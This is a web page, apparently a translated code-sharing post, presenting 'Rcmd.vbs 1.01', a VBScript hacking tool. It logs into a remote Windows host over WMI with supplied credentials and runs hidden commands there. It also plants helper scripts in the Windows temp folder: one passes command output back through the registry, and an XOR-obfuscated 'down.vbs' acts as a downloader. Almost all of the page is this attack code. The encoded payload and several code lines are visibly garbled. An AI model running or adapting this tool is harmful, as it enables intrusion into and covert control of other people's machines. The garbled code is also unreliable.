The Rcmd.vbs 1.01 revision adds download functionality _vbs

This down.vbs use to look here
Http://www.jb51.net/article/15506.htm

Code:

Copy Code code as follows:

On Error Resume Next
Set Outstreem=wscript.stdout
If (LCase right (wscript.fullname,11) = "Wscript.exe") Then
Wscript.Quit
End If

If wscript.arguments.count<4 Then
WScript.Echo "Not Enough Parameters."
Usage ()
Wscript.Quit
End If


Ip=wscript.arguments (0)
Username=wscript.arguments (1)
Password=wscript.arguments (2)
Cmdstr=wscript.arguments (3)
Echostr=wscript.arguments (4)
' Downstr=wscript.arguments (5)
Foldername= "C:\\windows\\temp\\"

Wsh.echo "conneting" &ip& "..."
Set objlocator=createobject ("WbemScripting.SWbemLocator")
Set objswbemservices=objlocator.connectserver (IP, "root/cimv2", Username,password)
ShowError (Err.Number)
Set win_process=objswbemservices. Get ("Win32_ProcessStartup")
Set Hide_windows=win_process.spawninstance_
Hide_windows.showwindow=12
Set rcmd=objswbemservices. Get ("Win32_Process")
Set colfiles = objSWbemServices. ExecQuery _
("SELECT * from cim_datafile Where Name = ' C:\\windows\\temp\\read.vbs '")
If colfiles.count = 0 Then
Wsh.echo "Not found read.vbs! Create now! "
Create_read ()

End If





If echostr = "0" Then
Msg=rcmd.create ("cmd/c" &cmdstr,null,hide_windows,intprocessid)
End If
If echostr = "1" Then
Msg=rcmd.create ("cmd/c cscript%windir%\temp\read.vbs" "" &CmdStr& "" ", Null,hide_windows,intprocessid)
End If

If echostr = "3" Then
Create_down ()
End If

If msg = 0 Then
Wsh.echo "Command success ..."
Else
ShowError (Err.Number)
End If

Wsh.echo "Please wait 3 Second ..."
Wsh.sleep (3000)
Set StdOut = wscript.stdout
Set oreg=objlocator.connectserver (IP, "Root/default", Username,password). Get ("StdRegProv")
Oreg.getmultistringvalue &h80000002, "software\clients", "cmd", arrvalues
Wsh.echo String (79, "*")
Wsh.echo CMDSTR&AMP;CHR (&AMP;CHR) (10)

For each strvalue in arrvalues
Stdout.writeline strvalue
Next
Oreg.deletevalue &h80000002, "software\clients", "cmd"

Sub Create_read ()
Runyn =rcmd.create ("cmd/c Echo set Ws=wscript.createobject (^" "wscript.shell^" ") >%windir%\temp\read.vbs" _
& "&&echo Str=ws. Exec (^ "cmd/c ^" "^&wscript.arguments" (0)). StdOut.ReadAll:set ws=nothing>>%windir%\temp\read.vbs "_
& "&&echo Set oreg=getobject (^" "Winmgmts:{impersonationlevel=impersonate}!\\.\root\default:stdregprov ^ "") >>%windir%\temp\read.vbs "_
& "&&echo oreg.setmultistringvalue ^&h80000002,^" "software\clients^" ", ^" "cmd^" ", Array (str) > >%windir%\temp\read.vbs ", Null,hide_windows,intprocessid)
If Runyn = 0 Then
Wsh.echo "Read.vbs Created!!!"
Else
ShowError (Err.Number)
End If

End Sub

Sub Create_down ()
Rundw=rcmd.create ("cmd/c echo Function Decode (s,n): Ns=split (Mid (S,2,len (s)-1)): For I=0 to UBound (NS): On Error Resume NEXT:DECODE=DECODE^&AMP;CHR (CINT (NS (i)) Xor N): Next:end Function>%windir%\temp\down.vbs "_
& "&&echo Execute (Decode (^" "26 9 18 31 8 21 19 18 92 15 29 10 25 58 21 16 25 84 26 21 16 25 18 + 29 17 25 80) 8 14 85 113 118 113 118 92 92 92 92 92 15 25 8 92 29 24 19 24 30 47 8 14 25 29 17 92 65 92 63 14 25 29 8 25 51 30 22 8 84 94 61 56 51 56 62 94 92 90 92 94 82 94 92 90 92 94 47 8 14 25 29 17 94 85 113 118 113 118 92 92 92 92 92 29 30 47 8 14 25 29 17 82 40 5 12 25 65 92 77 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 51 12 25 92-92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 11 14-21 8 25 92 15 8 14 113 118 92 92 92 92 92 29 24 19 24 30 47 8-14 5 29 17 82 47 29 10 25 40 19 58 21 16 25 92 26 21 16 25 18 29 17 25 80 78 113 118 92 92 92 92 92 29 24 19 24 30 47 8 29 17 82 63 16 19 15 25 113 118 113 118 25 18 24 92 26 9 18 31 8 21 19 18 113 118 113 118 91 83 83 42 62-13695-10347-1 0282-20072-19531-18814-17020-10566-18291-13631 113 118 58 9 18 31 8 21 19 18 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 84 49 9 16 821-62 5 8 25 85 113 118 113 118 92 92 92 92 92 56 21 17 92-46 47 80 92 48 49 9 16 8 21 62 5 8 25 80 92 62 21 18 29 14-5 3 118 92 92 92 92 92 63 19 18 15 8 92 29 24 48 19 18 27 42 29 14 62 21 18 29 14 5 92 65 92 78 76 73 113 118 92 92 92 47-25 8 92 46 47 92 65 92 63 14 25 29 8 25 51 30 22 25-31 8 84 94 61 56 51 56 62 82 46 25 31 19 14 24 15 25 8 94 85-113 18 92 92 92 92 92 48 49 9 16 8 21 62 5 8 25 92 65 92 48 25 18 62 84 49 9 16 8 21 62 5 8 25 85 A. 92 48 49 9 16 8 21 62 5 8 25 66 76 92 40 20 25 18 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 58 21 25 15-82 61 12 12 25 18 24 92 94 17 62 21 18 29 14 5 94 80-92 29 24 48 19 18 27 42 29 14 62 21 18 29 14 5 80 92 48 49 9-16 21 62 5 8 25 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 51 12 25 18 113 118 92 92 92 92 92 92 92 92 92 92 46 47 82 61 24 24 50 25 11 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 84 94 17 62 21 18 29 14 5 94 85 1 12 12 25 18 24 63 20 9 18 23 92 49 9 16 8 21 62 5 8 25 92 90 92 63 20 14 62 84 76 85 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 12 24 29 8 25 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 62 21 18 29 14 5 92 65 92 46 47 84 94 17 62 21 18 29 14 85-82 59 25 8 63 20 9 18 23 84 48 49 9 16 8 21 62 5-8 25 85 113 118 92 92 92 92 92 57 18 24 92 53 26 113 118 92 92 92-92 2 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 92 65 92 62 21 18 29 14 5 113 118 113 118 57 18 24 A. 8 113 118 113 118 113 118 26 9 18 31 8 21 19 18 92 25 4 25 31 84 85 113 118 92 92 92 92 92 113 118 92 92 92 92 92-91 -14659-20046-19311-12657 113 118 92 92 92 92 92 19 18 92 25 14 14 19 14 92 14 25 15 9 17 25 92 50 25 4 8 113 118 92 92 92 92 92 47 25 8 92 29 14 27 15 92 65 92 43 47 31 14 21 12 8 82 61 14 27 9 17 25 18 8 15 113 118 21 26 92 29 14 27 63-19 9 18 8 92 65 92 76 92 8 20 25 18 113 118 92 92 92-92 92 43 47 31 14 21 12 8 82 57 31 20 19 92 94 41 15 29 27 25-70 2 63 47 31 14 21 12 8 92 24-19 11 18 82 10 30 15 92 9 14 16 92 31 70 32 77 82 25-4 25 94 113 118 92 92 92 92 92 43 47 31 14 21 12 8 82 45 9 21-8 2 77 113 118 92 92 92 92 92 25 18 24 92 53 26 113 118 92 92 92 92 92 92 24 21 17 92 24 29 8 29 80 8 80 23 23 80 26 21 5-18 29 17 25 80 15 15 113 118 92 92 92 92 92 47 25 8 92-49 29 21 16 77 92 65 92 63 14 25 29 8 25 51 30 22 25 31 8 84-94 3 56 51 82 49 25 15 15 29 27 25 94 85 113 118 92 92 92 92 92 49 29 21 16 77 82 63 14 25 29 8 25 49 52 40 49 48 62 19 92 29 14 27 15 82 53 8 25 17 84 76 85 92 80 79 77 92 113 118 91 49 29 21 16 77 82 63 14 25 29 8 25 49 52 40 49 48 62 5-92 94 31 70 32 4 4 4 32 16 31 4 82 25 4 25 81 12-26 82 20 8 17 94 80 79 77 113 118 92 92 92 92 92 15 15 65 92 49-29 16 77 82 52 40 49 48 62 19 24 5 113 118 92 92 92 92 92 47 25 8 92 49 29 21 16 77 65 18 19 8 20 21 18 27 92 92 118 92 92 92 113 118 113 118 92 92 92 92 92 91 83 83-19009-19007-13695-16735 of 113 118 92 92 92 92 92 24 29 8 29 92 92 9 2 92 92 92 92 92 92 92 92 92 92 65 92 15 15 113 118 92 92 92 92 92 91 83 83-19009-19007-12616-17278-15481 113 118 92 92 92 92 92 26 21 16-25 18, 29 17 25 92 92 92 92 92 65 92 29 14 27 15 82 53 8 25 17 84 77 85 113 118 113 118 92 92 92 92 92 91 83 83-19009-19007 -13695-16735-19496-18764 113 118 92 92 92 92 92 92 92 92 92 9 92 65 92 16 25 18 84 24 29 8 29 85 113 118 92 92 92 92 92 113 118 92 92 92 92 92 91 83 83-17523-19009-12616-17278-13695-10347 113 118 92 92 92 92 92 26 19 14 92 21 65 77-92 8-19 92 9 92 15 8 25 12 92 78 113 118 92 92 92 92 92 92-92 92 92 92 92 92 92 8 92 65 92 17 21 24 84 24 29 8 29 80 21-80 85 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 23 23 92 65 92 23 23 92 90 92 63 20 14 62 84 31 16 18 27 84 94 92 90 92 8 85 85 113 118 92 92 92 92 92 18 25 4 8 113 118 113 118 92 92 92 92 92 91 83 83-10282-20072-19531-18814-17 The 020-10566-18291-13631 113 118 92 92 92 92 92 24 29 8 29 61 14 14 5 92 65 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29-14 5 84 23 23 85 113 118 92 92 92 92 92 113 118 92 92 92 92 92 91 83 83-20001-19302-12616-17278 92 92 92 92 92 113 118 92 92 92 92 92 15 29 10 2 5 58 21 16 25 92 26 21 16 25 18 29 17 25 80 24 29 8 29 61 14 14 5 113 118 113 118 92 92 92 92 113 118 92 92 92 92 9 to 8 113 118 113 118 4 to 113 118 113 118 113 118^ "", 124)) &GT;&GT;%WINDIR%\TEMP\DOWN.V BS ", Null,hide_windows,intprocessid)

If RUNDW = 0 Then
Wsh.echo "Down.vbs Created!!!"
Else
ShowError (Err.Number)
End If

End Sub

Function ShowError (errornumber)
If errornumber Then
Wsh.echo "Error 0x" &cstr (Hex (err.number)) & "."
If err.description <> "" Then
Wsh.echo "Error Description:" &Err.Description& "."
End If
Wscript.Quit
Else
Outstreem. Write "."
End If
End Function


Sub usage ()
Wsh.echo String (79, "*")
Wsh.echo "Rcmd v1.01 by Netpatch Modiy by Lcx"
Wsh.echo "Usage:"
Wsh.echo "cscript" &wscript.scriptfullname& "Targetip username password" "Command" "1//on Echo"
Wsh.echo "cscript" &wscript.scriptfullname& "Targetip username password" "Command" "0//off Echo Create"
Wsh.echo "cscript" &wscript.scriptfullname& "Targetip username Password" "" 3//Create Cdo.message.down.vbs "
Wsh.echo string (+, "*") &vbcrlf
End Sub